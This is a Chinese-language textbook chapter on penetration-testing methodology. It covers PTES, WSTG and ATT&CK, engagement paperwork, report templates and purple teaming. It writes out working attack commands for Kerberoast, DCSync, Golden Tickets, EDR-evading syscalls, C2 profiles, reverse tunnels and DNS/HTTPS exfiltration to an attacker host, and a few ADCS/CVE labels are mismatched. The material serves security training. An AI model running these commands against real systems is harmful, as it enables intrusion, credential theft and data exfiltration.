第 8 章 渗透测试方法论
8.1 学习目标
- 理解渗透测试的目的、价值、合规与伦理边界,区分它与漏洞扫描、红队演练、SOC 演练的差别。
- 掌握主流方法论:PTES、OWASP WSTG、NIST SP 800-115、OSSTMM、MITRE ATT&CK。
- 能编写完整的 SOW(工作说明书)/ Rules of Engagement / 授权书 等前置文件。
- 会按阶段(侦察 → 武器化 → 投递 → 利用 → 后渗透 → 行动 → 报告)组织一次完整的攻击行动。
- 熟悉典型攻击链:外网 Phishing → AD → 域控;外网 Web → 内网横向 → 数据外带。
- 写出符合甲方 + 监管 + 法律要求的报告:技术细节 + 风险评级 + 修复建议。
能力矩阵:
| 能力域 | 入门 | 进阶 | 精通 |
|---|---|---|---|
| 流程 | 跟随 PTES 7 步 | 写 SOW / RoE / 报告 | 设计紫队联动闭环 |
| 攻击 | 单点漏洞 | 链式攻击 | 红队周期项目 |
| 工具 | metasploit + nmap | C2 (Sliver/Cobalt Strike) | 自研武器(loader / OPSEC 工具) |
| 输出 | 漏洞列表 | 攻击叙事 + 修复 | Threat-informed defense + 紫队 |
8.2 渗透测试 vs 红队 vs 漏洞评估
| 维度 | 漏洞评估 | 渗透测试 | 红队演练 |
|---|---|---|---|
| 目标 | 找尽量多漏洞 | 验证可被利用、入侵到什么程度 | 测试组织检测/响应/恢复能力 |
| 范围 | 广而浅 | 中等深度 | 类真实攻击者 |
| 时间 | 1–2 周 | 2–4 周 | 数周到数月 |
| 工具 | 自动化扫描器 | 手工 + 脚本 + C2 | 全武器库 + 自研 |
| 隐蔽性 | 不在意 | 中等 | 隐蔽优先 |
| 报告 | 漏洞列表 | 攻击叙事 + 修复建议 | TTP 复盘 + 蓝队差距 |
| 紫队结合 | 较少 | 中等 | 必须 |
8.3 主流方法论对比
8.3.1 PTES(Penetration Testing Execution Standard)
7 阶段:
1. Pre-engagement Interactions 前期沟通2. Intelligence Gathering 情报收集3. Threat Modeling 威胁建模4. Vulnerability Analysis 漏洞分析5. Exploitation 漏洞利用6. Post-Exploitation 后渗透7. Reporting 报告输出每阶段都有 可交付物(详见 §8.5)。
8.3.2 OWASP WSTG(Web Security Testing Guide)
4.x 版本,针对 Web 应用 的标准化测试用例集合,按 11 个类别 + 编号:
WSTG-INFO-XX 信息收集WSTG-CONF-XX 配置与部署WSTG-IDNT-XX 身份管理WSTG-ATHN-XX 认证WSTG-ATHZ-XX 授权WSTG-SESS-XX 会话管理WSTG-INPV-XX 输入验证WSTG-ERRH-XX 错误处理WSTG-CRYP-XX 加密WSTG-BUSL-XX 业务逻辑WSTG-CLNT-XX 客户端WSTG-API-XX API适合 Web 项目的渗透测试 checklist。
8.3.3 NIST SP 800-115
美国 NIST 对信息安全测试与评估的官方指南,分四类:
- 评估 (Review)
- 识别 (Identification & Analysis)
- 验证 (Target Vulnerability Validation)
- 渗透测试 (Penetration Testing)
附录:测试技术、规划要素、报告模板。
8.3.4 OSSTMM 3.0
ISECOM 的”开源安全测试方法手册”,6 通道:
- Human Security
- Physical Security
- Wireless Security
- Telecommunications Security
- Data Networks Security
- Compliance Security
提出RAV(Risk Assessment Value) 量化指标。
8.3.5 MITRE ATT&CK
不是测试方法,而是攻击者 TTP 知识库。当前 14 个战术:
| Tactic | 含义 |
|---|---|
| Reconnaissance | 侦察 |
| Resource Development | 资源准备 |
| Initial Access | 初始访问 |
| Execution | 执行 |
| Persistence | 持久化 |
| Privilege Escalation | 提权 |
| Defense Evasion | 防御绕过 |
| Credential Access | 凭据获取 |
| Discovery | 发现 |
| Lateral Movement | 横向移动 |
| Collection | 收集 |
| Command and Control | C2 |
| Exfiltration | 数据外带 |
| Impact | 影响 |
每个战术下数十个 Technique / Sub-technique,编号 TXXXX(.YYY)。
用途
- 渗透 / 红队:路径规划与覆盖度自检
- 蓝队 / 检测工程:检测规则覆盖度评估(Heatmap)
- 报告:把行动映射到 TXXXX,让甲方看得懂
工具
- ATT&CK Navigator:可视化矩阵
- DeTT&CT / VECTR:检测覆盖度量化
- Atomic Red Team:每个 TXXXX 的可复现 PoC
8.3.6 Cyber Kill Chain(Lockheed Martin)
7 阶段(更偏宏观):
Reconnaissance → Weaponization → Delivery → Exploitation→ Installation → Command & Control → Actions on Objectives适合战略叙事 / 报告写作。
8.3.7 Unified Kill Chain (Paul Pols)
把 Cyber Kill Chain + ATT&CK + Mandiant Lifecycle 合并为 18 步链。
8.4 威胁建模
8.4.1 STRIDE
Spoofing 伪造身份Tampering 篡改Repudiation 抵赖Information Disclosure 信息泄露Denial of Service 拒绝服务Elevation of Privilege 权限提升针对每个组件 / 数据流问 6 类威胁是否存在。
8.4.2 DREAD(评分)
Damage 可造成损害Reproducibility 可复现性Exploitability 利用难度Affected Users 受影响用户Discoverability 可发现性每项 1–10 分,平均得分作为优先级(已被很多团队弃用,因主观)。
8.4.3 PASTA(Process for Attack Simulation and Threat Analysis)
7 阶段,强调与业务对齐:
- 定义业务目标
- 定义技术范围
- 应用分解
- 威胁分析
- 漏洞分析
- 攻击建模
- 风险/影响分析
8.4.4 OCTAVE / OCTAVE Allegro
CMU SEI 提出,资产驱动的风险评估方法。
8.4.5 LINDDUN(隐私威胁建模)
Linkability 可关联Identifiability 可识别Non-repudiation 不可抵赖Detectability 可检测Disclosure 信息泄露Unawareness 无知Non-compliance 不合规适合 GDPR / PIPL 类的隐私评估。
8.5 PTES 7 阶段细化与可交付物
8.5.1 Pre-engagement Interactions(前期沟通)
必含文件
- NDA(保密协议)
- SOW(Statement of Work / 工作说明书)
- RoE(Rules of Engagement / 行动守则)
- 授权书(Authorization Letter / “Get Out of Jail” Card)
- 联系人清单(业务、技术、法务、紧急联系电话)
SOW 关键字段
1. 项目名称2. 客户与服务商3. 范围 (Scope):IP / URL / 应用 / 物理 / 社工4. 排除项 (Out of Scope)5. 时间窗6. 工作量与里程碑7. 交付物(报告、PoC、汇报会)8. 收费模式9. 责任与保险10. 终止条款RoE 关键字段
- 测试方式:黑盒 / 灰盒 / 白盒- 允许的攻击:DoS / 物理 / 社工 是否允许- 测试时段:是否含周末 / 夜间- 应急联系人 + 启动条件(发现实际入侵 / 数据泄露)- 数据处理:测试数据保留 / 销毁- 法律依据授权书模板
本人 [姓名 + 职务],代表 [公司名称],授权 [乙方公司名称]对以下系统在 [起始日期] 至 [结束日期] 期间进行渗透测试: - 系统列表 - IP / URL本测试已获得 [上级 + 法务] 批准,行使的所有测试行为视为经合法授权。如执法机构问询请联系 [紧急联系人]。
签字 / 盖章 / 日期8.5.2 Intelligence Gathering(情报收集)
详见 Ch06。本章关注与渗透目的对齐:
- 把 OSINT 输出结构化:资产 / 人员 / 凭证 / 技术栈 / 物理位置 / 供应链
- 排序”低悬果”(low-hanging fruit)
- 设计”假设清单”:哪些攻击路径最可能成功
8.5.3 Threat Modeling(威胁建模)
- 对场景画 STRIDE 表
- 输出”攻击假设”:例如”通过暴露的 OWA 服务 + 弱密码进入域账号”
- 可视化:用 OpenSecurityArchitecture / drawio
8.5.4 Vulnerability Analysis(漏洞分析)
详见 Ch07。本章重点:
- 不仅要”扫到”,更要”验证”
- 自动化扫描后必须人工 triage(看输出能否复现)
- 整理候选利用链
8.5.5 Exploitation(漏洞利用)
初始访问 (Initial Access) — ATT&CK TA0001
| Technique | 实例 |
|---|---|
| T1190 Public-Facing App | OWA、VPN、S3 暴露 |
| T1133 External Remote Services | RDP、SSH、Citrix |
| T1078 Valid Accounts | 撞库、密码喷洒 |
| T1566 Phishing | 邮件 / 短信 / 网页 |
| T1199 Trusted Relationship | 供应链、SaaS 共享 |
| T1195 Supply Chain Compromise | 软件投毒 |
Exploitation 工具
- Metasploit Framework:模块化
- Cobalt Strike / Sliver / Havoc / Mythic:商用 / 开源 C2
- Empire / PowerShell Empire:PowerShell 后渗透
- Impacket:协议级(Kerberos / SMB / WMI)
- BloodHound + SharpHound:AD 路径分析
- CrackMapExec / NetExec:内网爆破工具集
8.5.6 Post-Exploitation(后渗透)— ATT&CK TA0003-TA0011
维持访问 (Persistence)
- Windows:Service / Scheduled Task / Registry Run / WMI Subscription / GPO
- Linux:systemd / cron /
~/.bashrc/ SSH key / kernel module - AD:Golden Ticket / Silver Ticket / Skeleton Key / DCSync key
提权 (Privilege Escalation)
- Linux:内核漏洞、SUID 滥用、weak sudo、Capabilities
- Windows:UAC bypass、令牌窃取(incognito)、unquoted service path、PrintNightmare、HiveNightmare
- Cloud:IAM 路径、AssumeRole、metadata 服务
横向移动 (Lateral Movement)
- Pass-the-Hash / Pass-the-Ticket / Over-Pass-the-Hash
- DCOM、WinRM、PSExec、WMI exec
- SSH key 传播
凭据获取 (Credential Access)
- LSASS dump(mimikatz / nanodump)
- DPAPI(保护账号本地凭据)
- Kerberoast / AS-REP Roast
- Browser cookies / saved passwords
- 内存中临时凭据
发现 (Discovery)
- net view / net group “Domain Admins”
- BloodHound 收集
- arp / route / ipconfig
- WMIC for installed software
数据外带 (Exfiltration)
- HTTPS POST 加密文件 (rclone / megacmd)
- DNS 隧道(dnscat2、iodine)
- ICMP 隧道
- Cloud(Dropbox / OneDrive)
- 隐写(图像、PDF)
8.5.7 Reporting(报告)
详见 §8.10 完整模板。
8.6 完整 AD 攻击链实战(场景化)
Step 0 外网钓鱼邮件 T1566 Phishing │ 钓鱼站 + Office macro / .lnk → 反弹 shellStep 1 Foothold T1059 Command & Scripting │ 某员工电脑 → Cobalt Strike beaconStep 2 本地侦察 T1083 / T1057 / T1518 │ whoami /all ipconfig wmic processStep 3 本地提权 T1068 / T1548 │ PrintSpoofer / 驱动漏洞 / 漏配置Step 4 Active Directory 收集 T1087 / SharpHoundStep 5 横向 → 服务器 T1021 / T1550 │ Pass-the-Hash / SMB 共享 / WinRMStep 6 Kerberoast T1558.003 │ 拿到服务账号 hash → hashcat 离线爆破Step 7 Domain Admin T1003.006 / T1133 │ 利用上一步获取的高权限账号 SecretsDump 或 DCSyncStep 8 Persistence T1136 / T1098 │ Golden Ticket / Skeleton Key / DCShadowStep 9 数据外带 + 清理痕迹 T1041 / T10708.6.1 BloodHound Cypher 查询样例
// 找最短路径到 Domain AdminsMATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))RETURN p LIMIT 25
// 高价值用户 KerberoastableMATCH (u:User {hasspn: true})WHERE u.enabled = trueRETURN u.name, u.serviceprincipalnames
// 哪些用户是 ASREPRoastableMATCH (u:User {dontreqpreauth: true, enabled: true})RETURN u.name
// 谁拥有 GenericAll 在域控对象上MATCH (u)-[r:GenericAll]->(c:Computer {domain:'CORP.LOCAL', primarygroupid: 516})RETURN u.name, type(r), c.name8.6.2 Kerberoast PoC
# 拿任意域用户即可# ImpacketGetUserSPNs.py -request -dc-ip 10.0.0.1 CORP/alice:'Password1!'
# 离线破解hashcat -m 13100 spn.hash rockyou.txt8.6.3 DCSync PoC(Mimikatz)
lsadump::dcsync /domain:corp.local /user:krbtgt需要”Replicating Directory Changes” 权限;拿到 krbtgt hash 后即可 Golden Ticket。
8.6.4 Golden Ticket 构造
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:<hash> /ticket:gold.kirbi /ptt票据有效期可任意伪造(默认 10 年),不与域控验证(除非启用 KDC 验证)。
8.6.5 ADCS 利用(ESC1–ESC8)
| ESC | 描述 |
|---|---|
| ESC1 | 模板允许 Subject 替换 + 客户端身份认证 |
| ESC2 | Any Purpose EKU 模板 |
| ESC4 | 模板权限错误 |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 标志 |
| ESC8 | NTLM Relay → Web Enrollment(“Certifried”) |
工具:Certify、Certipy、ADCSPwn。
8.7 C2 框架与 OPSEC
8.7.1 主流 C2
| 框架 | 语言 | 特点 |
|---|---|---|
| Cobalt Strike | Java + Beacon | 商业、特征公开多 |
| Sliver | Go | 开源、跨平台、Mu/iaTLS / DNS / WG 多协议 |
| Mythic | Python + Docker | 多 Agent / 多语言(Apollo .NET、Apfell macOS、Poseidon Go) |
| Havoc | C++ Demon | 较新、活跃维护 |
| Empire 5.0 | Python / PowerShell | 后渗透 |
| Brute Ratel | C/Rust | 商业、强 OPSEC |
8.7.2 Beacon 流量特征
- 默认 sleep + jitter(5s × 30%)容易被识别
- HTTP GET / POST 路径默认
__cfduid等 - TLS 证书自签 / SAN 默认值
- JA3 指纹固定
8.7.3 Malleable C2 Profile(Cobalt Strike)
http-get { set uri "/api/v2/tasks"; client { header "Accept" "*/*"; metadata { base64url; prepend "session="; header "Cookie"; } } server { header "Content-Type" "application/json"; output { base64url; print; } }}可定制看起来像 Slack / GitHub API 流量。
8.7.4 防御规避(Defense Evasion)
- AMSI bypass(patch
AmsiScanBuffer) - ETW patching(disable Microsoft-Windows-PowerShell ETW)
- LSASS 读取规避:直接 syscall(Hells Gate / Halos Gate / Tartarus Gate)
- COM Hijacking
- 进程注入新方式:Process Hollowing / Doppelgänging / Herpaderping / Ghosting
- 利用合法签名工具 LotL(PowerShell、wmic、certutil、msbuild、bitsadmin)
8.7.5 直接 Syscall(绕 EDR Userland Hook)
// Syswhispers3 / Hell's Gate 方案EXTERN_C NTSTATUS NtAllocateVirtualMemory(...);__asm { mov r10, rcx mov eax, 0x18 ; syscall number syscall ret}绕过 EDR 在 ntdll.dll 上的 inline hook。
8.7.6 OPSEC 原则
- 一次行动一个化身(命名 / 时间 / 工具一致)
- 不在沙箱测试线上 payload(避免上传 VirusTotal)
- 不复用 C2 域 / 证书
- 流量分层(Beacon → Redirector → C2 server)
- 时间窗:与目标作息错开
- 数据外带前压缩 + 加密 + 限速
8.8 钓鱼与社会工程
8.8.1 邮件钓鱼链
1. 选取目标(OSINT)2. 设计内容(内部题材 + 时效紧迫)3. 构造发件域(仿冒 + DKIM/SPF/DMARC)4. 制作有效负载(Office macro / .lnk / HTML smuggling / PDF)5. 投递与跟踪(GoPhish / King Phisher)6. 凭证或植入回收7. 后续利用8.8.2 工具
- GoPhish:免费开源邮件钓鱼平台
- EvilGinx2:透明代理钓鱼,绕过 MFA(劫持 session cookie)
- Modlishka:类似 EvilGinx
- King Phisher
8.8.3 EvilGinx 关键概念
- “Phishlet”:定义目标登录站点的代理规则
- 拿到的不是密码,而是 session cookie,可直接登录
- 完美绕过 TOTP 与短信 MFA(FIDO2 / Passkey 防御)
8.8.4 社工原则(Mitnick)
- 信任建立
- 紧迫感
- 权威效应
- 互惠
- 一致性偏差
防御:员工教育 + 多通道核验 + Process(不通过电话改密码)
8.8.5 物理社工
- Tailgating(尾随进门)
- USB drop(带毒 U 盘)
- 假冒维修 / 快递 / 清洁
- RFID / HID 卡复制(Proxmark3)
8.9 数据外带(Exfiltration)
8.9.1 通道
| 通道 | 工具 |
|---|---|
| HTTPS | curl / rclone / megacmd |
| DNS | dnscat2 / iodine |
| ICMP | ptunnel / icmpsh |
| 邮件 | SMTP 附件 / WebDAV |
| 云盘 | Dropbox / OneDrive / S3 |
| 蓝牙 / Wi-Fi | 物理临近 |
| 隐写 | LSB 图像 / steghide |
8.9.2 常用 PoC
# DNS 隧道(限速 + 分块)split -b 200 secret.tar.gz part_for f in part_*; do d=$(base32 < $f | tr -d '=\n' | head -c 60) dig $d.attacker.tld @attacker_dnsdone
# HTTPS 上传(带 OPSEC headers)curl -X POST -T data.zip \ -H "Content-Type: application/octet-stream" \ -H "User-Agent: Mozilla/5.0 ..." \ https://cdn.example/upload
# 限速避免触发 NetFlow 异常rclone copy --bwlimit 1M secret/ remote:bucket/8.9.3 蓝队检测
- Suricata / Zeek 检测异常 DNS(高熵 / 长子域 / 不在白名单)
- DLP 检测特定关键字
- DNS QPS 突变告警
- 数据出网量异常
8.10 报告模板(中英双语)
8.10.1 结构
封面(公司 LOGO + 项目名 + 版本 + 机密级别)─────────────────────────────────────执行摘要 (Executive Summary) - 项目目标 - 关键发现 (Top 3 / 5) - 风险评级 - 修复优先级与时间线建议
测试范围与方法论 (Scope & Methodology) - 范围(IP / URL / 应用) - 排除项 - 时间窗 - 方法论(PTES / WSTG / NIST / ATT&CK)
技术细节 (Technical Details) - 每个漏洞独立小节: 1. 标题与编号 2. 风险等级(Critical/High/Medium/Low) 3. CVE / CWE 引用 4. 描述与影响 5. 复现步骤(截图 + 请求/响应 / 命令输出) 6. PoC 代码 / 脚本 7. 修复建议(短期 + 长期) 8. 参考资料
攻击叙事 (Attack Narrative) - 时间线(Day 1 / Day 2 ...) - 关键节点 + ATT&CK Mapping
风险评估与建议 (Risk Assessment) - 短期 (≤30 天) - 中期 (≤90 天) - 长期 (>90 天) - 优先级矩阵
附录 (Appendix) - 工具与版本 - 资产清单 - 详细日志 - 词汇表8.10.2 漏洞描述写作要点
- 客观:不夸大,不模糊
- 可复现:截图 + 命令 + 时间戳
- 可修复:修复建议必须具体(哪行代码 / 哪个配置)
- 风险定级:CVSS + 业务影响
- 避免技术误解:写给 CISO 也能看懂
8.10.3 中英双语示例(漏洞条目)
### 5.2 SQL Injection in /api/v1/orders (id 参数)
**严重级别 / Severity**:High**CWE**:CWE-89 / SQL Injection**CVSS v3.1**:8.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
**描述 / Description**The `/api/v1/orders` endpoint concatenates the `id` parameter into a SQLquery without parameterization, allowing UNION-based injection to readarbitrary tables.
**复现 / Reproduction**
Request:GET /api/v1/orders?id=1’ UNION SELECT 1,2,user(),version()— HTTP/1.1 Host: target.com Authorization: Bearer …
Response excerpt: `... "name":"root@%, 8.0.30" ...`
**影响 / Impact**攻击者可读取数据库任意表,包括 `users`、`payments`,导致大规模数据泄露。
**修复 / Remediation**- 短期:上线 WAF 拦截规则匹配 `'\sUNION` 等模式- 中期:改用 PreparedStatement / 参数化查询- 长期:在 ORM 层强制只用绑定变量
**参考 / References**- OWASP Cheat Sheet: <https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html>8.10.4 工具清单(Pandoc → PDF)
pandoc report.md -o report.pdf \ --template=eisvogel.latex \ --toc --number-sections \ -V titlepage=true -V toc-own-page=true \ -V mainfont="Times New Roman" \ -V CJKmainfont="Source Han Serif SC"8.11 紫队演练与持续验证
8.11.1 紫队的本质
- 红 + 蓝在同一桌
- 红队执行 TTP,蓝队同时观察告警 / 响应
- 每个 TTP → 是否检测 → 是否拦截 → 修复差距
- 最终输出 ATT&CK 覆盖热力图
8.11.2 工具
- Atomic Red Team:每个 TXXXX 一个 Atomic
- CALDERA:MITRE 出品,自动化红队
- VECTR:紫队跟踪平台
- PurpleSharp
8.11.3 持续紫队(Continuous Purple Teaming)
- 每月跑一遍 Atomic Red Team Top 50
- 把 Sigma 规则覆盖度作为 KPI
- 与 SOC 工单系统打通:每个未检测的 TTP → 自动开 Jira
8.12 真实复盘
8.12.1 SolarWinds / SUNBURST(APT29)
链路:
- 入侵 SolarWinds 构建系统
- 在 Orion 软件中植入 SUNBURST DLL
- 18,000 客户更新即被感染
- 选择性激活:检查域名 / 域控前缀
- C2:DNS 隐藏在 avsvmcloud.com 子域
经验:
- 供应链是当前最难防御的层
- 自家 build 系统必须有完整性证明(reproducible builds)
- SBOM + Sigstore 可缓解
8.12.2 Lazarus 的 3CX 供应链
链路:
- 入侵 Trading Technologies
- 投毒下游 3CX 客户端
- 影响数千企业
- macOS / Windows 双平台
经验:MoTW(Mark of The Web)+ 代码签名监控很关键。
8.12.3 HAFNIUM ProxyLogon
链路:
- CVE-2021-26855 SSRF → 拿任意 mailbox
- CVE-2021-27065 写文件 → 部署 webshell(China Chopper)
- 横向 → 域控
经验:暴露在公网的 Exchange / OWA 必须最快速度补丁,配合 EDR 对 webshell 检测。
8.12.4 Costa Rica Conti 勒索
2022 年 Conti 攻击哥斯达黎加政府,几周内瘫痪国家关键服务。链路:
- 钓鱼 → Cobalt Strike
- 内网横向 → 部署 ESXi 加密器
- 双重勒索(数据 + 加密)
经验:勒索 = 渗透链的”终点”,前面任何环节都是阻断窗口。
8.13 法律与伦理
8.13.1 中国法律
- 《刑法》第 285 条:非法侵入计算机信息系统罪
- 《网络安全法》:未经授权对关键信息基础设施测试违法
- 《数据安全法》《个人信息保护法》
8.13.2 美国 / 欧洲
- CFAA(美国)
- GDPR / NIS2(欧盟)
8.13.3 行业认证
- OSCP / OSEP / OSED(Offensive Security 系列)
- CEH(EC-Council)
- PNPT(TCM Security)
- CRTO / CRTL(Zero-Point Security 红队)
- CRTP / CRTE(Altered Security AD 渗透)
- CISSP / CISM(管理向)
8.13.4 道德原则
- 仅在授权范围内行动
- 发现真实数据泄露 → 立刻停止 + 通知客户
- 不带走任何客户数据
- 报告中脱敏所有真实凭据
- 测试结束后销毁工具与中间产物
8.14 练习题
- 设计一份完整 SOW 模板,覆盖至少 12 个字段。
- 给出 ATT&CK TA0001 下 5 个常见 Initial Access Technique,及对应防御控制。
- BloodHound Cypher:找到一条从普通用户到 Enterprise Admin 的路径。
- 编写一段 Python 钓鱼邮件发送脚本(仅在合规靶场使用)。
- 用 Cobalt Strike Malleable C2 Profile 写一段模拟 Slack 流量的配置。
- 解释 Pass-the-Hash 与 Pass-the-Ticket 的差异,并举例适用场景。
- 写一段 Sigma 规则检测
lsass.exe被异常进程读取。 - 设计一个紫队演练流程,覆盖 ATT&CK 12 个战术。
- 用 Atomic Red Team 验证一个 TXXXX,并记录蓝队检测情况。
- 写一份”高级持续威胁”年度复盘报告大纲(针对你假想的某 APT)。
参考答案要点
- T1190 + WAF / Patch、T1133 + MFA、T1078 + 撞库防护、T1566 + DMARC + 人员培训、T1199 + 零信任供应链
- PtH = NTLM hash 直接挂载;PtT = Kerberos TGT/TGS 复用;前者更通用,后者更隐蔽 + 可绕过 LM 禁用环境
8.15 面试高频考点(附参考答案)
Q1:渗透测试与漏洞扫描的本质差异?
- 漏洞扫描发现潜在弱点;渗透测试验证利用并演示影响。
Q2:MITRE ATT&CK 在企业安全建设中如何应用?
- 既是攻击者画像,也是防御覆盖度自检;可量化 SOC 检测能力(Sigma 规则到战术的映射)。
Q3:什么是 Living-off-the-Land (LotL)?
- 利用系统自带合法二进制(PowerShell / wmic / certutil)执行恶意行为,规避 AV 文件查杀。
Q4:Pass-the-Hash 为什么不能完全杜绝?
- NTLM 协议本身设计:客户端用 hash 与服务端挑战做响应;只要 hash 在内存可被 dump 就难根除;建议 Credential Guard + 禁用 NTLM。
Q5:Domain Admin 与 Enterprise Admin 的差别?
- DA 控制单域;EA 控制整个森林(含跨域 Trust);红队若拿到 EA 可以横向跨子域。
Q6:Golden Ticket 与 Silver Ticket 区别?
- Golden = krbtgt hash 签发的 TGT(控制整个域);Silver = 服务账号 hash 签发的 TGS(仅控制特定服务)。Silver 更隐蔽。
Q7:DCShadow 与 DCSync 区别?
- DCSync 模拟域控请求复制;DCShadow 临时把自己注册成域控写入恶意更改后注销。DCShadow 更难检测。
Q8:渗透测试报告里”风险等级”如何确定?
- CVSS Base + 业务上下文调整(资产价值 / 数据敏感度 / 触发条件复杂度)。
Q9:紫队演练结果如何转化为蓝队改进项?
- 每个未检测 TTP → 写 Sigma 规则;每个未拦截 TTP → 调整 EDR / WAF 配置;持续度量。
Q10:客户对你说”不要测试 IDS/IPS,会触发告警”,怎么应对?
- 这违反 PTES 精神;建议以紫队形式协同,而不是隐藏;如客户坚持,写入 RoE 并在报告中标注此限制对结果的影响。
8.16 延伸阅读
教材
- 《The Hacker Playbook 3》Peter Kim
- 《Red Team Field Manual (RTFM)》Ben Clark
- 《Blue Team Field Manual (BTFM)》Alan White
- 《Advanced Penetration Testing》Wil Allsopp
- 《The Pentester BluePrint》Phillip Wylie
标准 / 参考
- PTES:http://www.pentest-standard.org/
- OWASP WSTG:https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115:https://csrc.nist.gov/publications/detail/sp/800-115/final
- MITRE ATT&CK:https://attack.mitre.org/
- HackTricks:https://book.hacktricks.xyz/
- ired.team Notes:https://www.ired.team/
- ADSecurity (Sean Metcalf):https://adsecurity.org/
- SpecterOps Blog(BloodHound 团队)
论文 / 报告
- M-Trends(Mandiant)年度
- Verizon DBIR
- ENISA Threat Landscape
- DFIR Report 系列:https://thedfirreport.com/
8.17 小结
渗透测试是有目标、有约束、有产出的攻击模拟:
- 方法论保证可重复:PTES / WSTG / NIST / ATT&CK
- 法律保证安全:SOW / RoE / 授权书
- 链式攻击思维:单点漏洞不够,能串成完整故事才是价值
- 报告即产品:写得让 CISO 与开发都能行动
- 与防御共进化:紫队是未来主流,红队不是为了”赢”,是为了让蓝队变强
与其他章节的接口
- ← Ch06:OSINT 输入
- ← Ch07:扫描候选漏洞
- → Ch09:二进制利用细节
- → Ch10:取证视角看红队留痕
- → Ch11:蓝队对每个战术的检测响应
- → Ch12:云 / 移动 / AI 场景的特殊路径
个人精进路径建议
- 基础:HTB / THM Track 走完,OSCP 过 ✅
- AD:CRTP → CRTE → CRTL,掌握全链路
- C2:自己写一个简易 C2(HTTP + AES 通信)→ 加 DNS / WG 通道
- OPSEC:研究 EDR 内部,写自己的 loader / shellcode runner
- 业务:参与公司紫队 / SRC 程序,把 ATT&CK 覆盖度做到 80%+
- 报告:每个项目写完报告自己念三遍,能让父母听懂的才是好报告
完成本章后,你应当具备独立主导一次为期 2 周的渗透测试的能力。
实操项目建议
- Project A(Web 应用):搭建 OWASP Juice Shop / DVWA / WebGoat,按 OWASP WSTG 顺序覆盖 11 类用例,输出 Markdown 报告
- Project B(AD 实验室):用 GOAD(Game of Active Directory)/ CyberMonk Lab 搭建 3 域森林,跑通 Kerberoast → DCSync → Golden Ticket 完整链路
- Project C(C2 自研):用 Go / Rust 写一个最小 C2,含 HTTP + AES 通信、命令分发、心跳;扩展 DNS 通道
- Project D(紫队闭环):选 5 个 Atomic Red Team 用例 → 在自己实验室运行 → 部署 Sysmon + Sigma 规则 → 验证检测覆盖度 → 写差距报告
- Project E(报告写作):参考 OSCP 报告模板,写一份”蓄意复杂”的双语渗透报告,找朋友(非安全背景)通读,确保可读性
自检评估表
| 能力 | 入门 | 进阶 | 精通 |
|---|---|---|---|
| 项目流程 | 跟随模板 | 独立编 SOW / RoE | 主导跨部门项目 |
| AD 攻击 | Kerberoast 一次 | 全链路通关 | 写工具 / 红队培训 |
| C2 操作 | 用 Cobalt Strike beacon | 写 Profile / 自定义 sleep | 自研 C2 / loader |
| 钓鱼 | GoPhish 一次 | EvilGinx 绕 MFA | 自研 phishlet + OPSEC |
| 报告 | 漏洞清单 | 双语 + ATT&CK Mapping | CISO 级别叙事 |
如全部勾上”精通”,可冲击 OSEP / OSEE / CRTL 等高级认证。
学习节奏
- 第 1–2 周:跑通 PTES 全流程,做一次 Web 项目
- 第 3–4 周:AD 实验室 + BloodHound 深入
- 第 5–6 周:C2 框架对比 + 自写 loader
- 第 7–8 周:紫队闭环 + 报告写作精修
- 持续:跟踪 ATT&CK 更新、SpecterOps / Mandiant / DFIR Report 博客
至此 Batch 2 完成;Ch09 起进入更底层的二进制 / 取证 / 蓝队 / 云移 AI 专题。
附录 A:常用 Cheat Sheet
A.1 Linux 提权快查
sudo -l # 当前可 sudo 的命令find / -perm -4000 2>/dev/null # SUID 二进制getcap -r / 2>/dev/null # 文件能力crontab -l ; cat /etc/crontab # 计划任务ps -ef --forest | head -50 # 进程树(看 root 子进程)cat /etc/passwd | grep -v nologinmount | grep -E 'rw|exec'uname -a ; hostnamectl ; lsb_release -a # 内核 / 发行版ss -tulpn # 监听端口A.2 Windows 信息搜集
whoami /allsysteminfonet user /domainnet group "Domain Admins" /domainGet-ADUser -Filter * -Properties * | Select Name,LastLogonDateGet-ADGroupMember "Domain Admins"Get-NetLocalGroupMember -GroupName Administratorsicacls "C:\Program Files\App" # 文件权限sc query state= all # 服务列表A.3 端口转发 / 隧道
# SSH 本地端口转发ssh -L 8080:internal:80 user@jump
# SSH 反向端口转发(被攻陷主机 → 攻击者)ssh -R 4444:127.0.0.1:80 attacker@vps
# SOCKS5ssh -D 1080 user@jumpproxychains nmap -sT 10.10.10.0/24
# Chisel (HTTP/WS 隧道)chisel server -p 8000 --reversechisel client http://attacker:8000 R:1080:socksA.4 Hashcat / John 速查
hashcat -m 0 hash.txt rockyou.txt # MD5hashcat -m 1000 hash.txt rockyou.txt # NTLMhashcat -m 5600 hash.txt rockyou.txt # NetNTLMv2hashcat -m 13100 hash.txt rockyou.txt # Kerberoasthashcat -m 18200 hash.txt rockyou.txt # AS-REP Roasthashcat -m 1800 hash.txt rockyou.txt # sha512crypthashcat -m 16500 jwt.txt rockyou.txt # JWT HS256
# 规则hashcat ... -r /usr/share/hashcat/rules/best64.ruleA.5 历史渗透链中常见 CVE
| CVE | 用途 |
|---|---|
| CVE-2014-6271 | Shellshock,外网 RCE |
| CVE-2017-0144 | EternalBlue,SMBv1 RCE → 横向 |
| CVE-2020-1472 | Zerologon,未鉴权拿域控 |
| CVE-2021-1675 / CVE-2021-34527 | PrintNightmare,本地 / 远程 SYSTEM |
| CVE-2021-42278 / CVE-2021-42287 | sAMAccountName Spoofing → DA |
| CVE-2022-26923 | ADCS ESC9 / ESC10 |
| CVE-2023-23397 | Outlook 触发 NTLM 中继 |
| CVE-2023-46214 | Splunk RCE 用作内网横向 |
至此本章正式完结,准备进入 Ch09。
如果這篇文章對你有幫助,歡迎分享給更多人!
部分資訊可能已經過時





















